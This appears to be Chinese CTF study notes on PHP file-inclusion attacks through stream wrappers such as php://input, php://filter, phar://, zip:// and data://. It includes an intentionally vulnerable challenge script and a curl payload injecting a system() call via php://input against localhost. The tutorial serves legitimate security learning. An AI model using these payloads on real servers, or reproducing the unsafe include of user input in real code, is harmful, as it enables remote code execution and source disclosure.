文件包含
在php.ini里有两个重要的参数allow_url_fopen和allow_url_include
allow_url_fopen:默认值是ON,允许url里的封装协议访问文件
allow_url_include:默认值是OFF,不允许包含url里的封装协议包含文件
php://input
php://input 是个可以访问请求的原始数据的只读流,可以读取到来自POST的原始数据。但当 enctype=”multipart/form-data” 的时候 php://input 是无效的。
利用条件:
- allow_url_include = On。
- 对allow_url_fopen不做要求。
http:/xxx/index.php?file=php://input
题目:
<meta charset="utf-8">
<?php
error_reporting(0);
var_dump(file_get_contents("php://input"));
$file = $_GET["file"];
if (stristr($file, "filter") || stristr($file, "zip://") || stristr($file, "phar://") || stristr($file, "data:")) {
exit('hack');
}
if($file){
if($file!='https://www.baidu.com'){
echo "tips:flag在根目录下,了解php伪协议";
include($file);
}
}
else{
echo '<a href="?file=http://www.baidu.com">click go baidu</a>';
}
payload:http://127.0.0.1/include_file/include_input.php?file=php://input
--date ="<?php system('dir');?>"
curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' -i 'http://127.0.0.1/include_file/include_input.php?file=php://input' --data '<?php system('\''dir'\'');?>'
php:filter
一般用于任意文件读取,有时也可以用于getshell.在双OFF的情况下也可以使用.
php://filter是一种元封装器,用于数据流打开时筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用。类似readfile()、file()、file_get_contents(),在数据流读取之前没有机会使用其他过滤器。
名称 | 描述 |
---|---|
resource=<要过滤的数据流>要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表>读链的筛选列表> | 参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
*write=<写链的筛选列表>*写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
php://filter/[read/write]=string.[rot13/strip_tags/…..]/resource=xxx
filter和string过滤器连用可以对字符串进行过滤。filter的read和write参数有不同的应用场景。read用于include()和file_get_contents(),write用于file_put_contents()中。
php://filter/convert.base64-[encode/decode]/resource=xxx
这是使用的过滤器是convert.base64-encode.它的作用就是读取upload.php的内容进行base64编码后输出。可以用于读取程序源代码经过base64编码后的数据
file://
file://伪协议在双OFF的时候也可以用,用于本地文件包含
注:file://协议必须是绝对路径
phar://
PHP 归档,常常跟文件包含,文件上传结合着考察。说通俗点就是php解压缩包的一个函数,解压的压缩包与后缀无关。
phar://test.[zip/jpg/png…]/file.txt
其实可以将任意后缀名的文件(必须要有后缀名),只要是zip格式压缩的,都可以进行解压,因此上面可以改为phar://test.test/file.txt也可以运行。
zip://,bzip2://, zlib://
在双OFF的时候也可以用,
zip://test.zip%23file.txt
和phar://一样用于读取压缩文件,不过对于”zip://test.zip#file.txt”中的”#”要编码为”%23”.因为url的#后的内容不会被传送
data://text/plain;base64,base编码字符串
很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入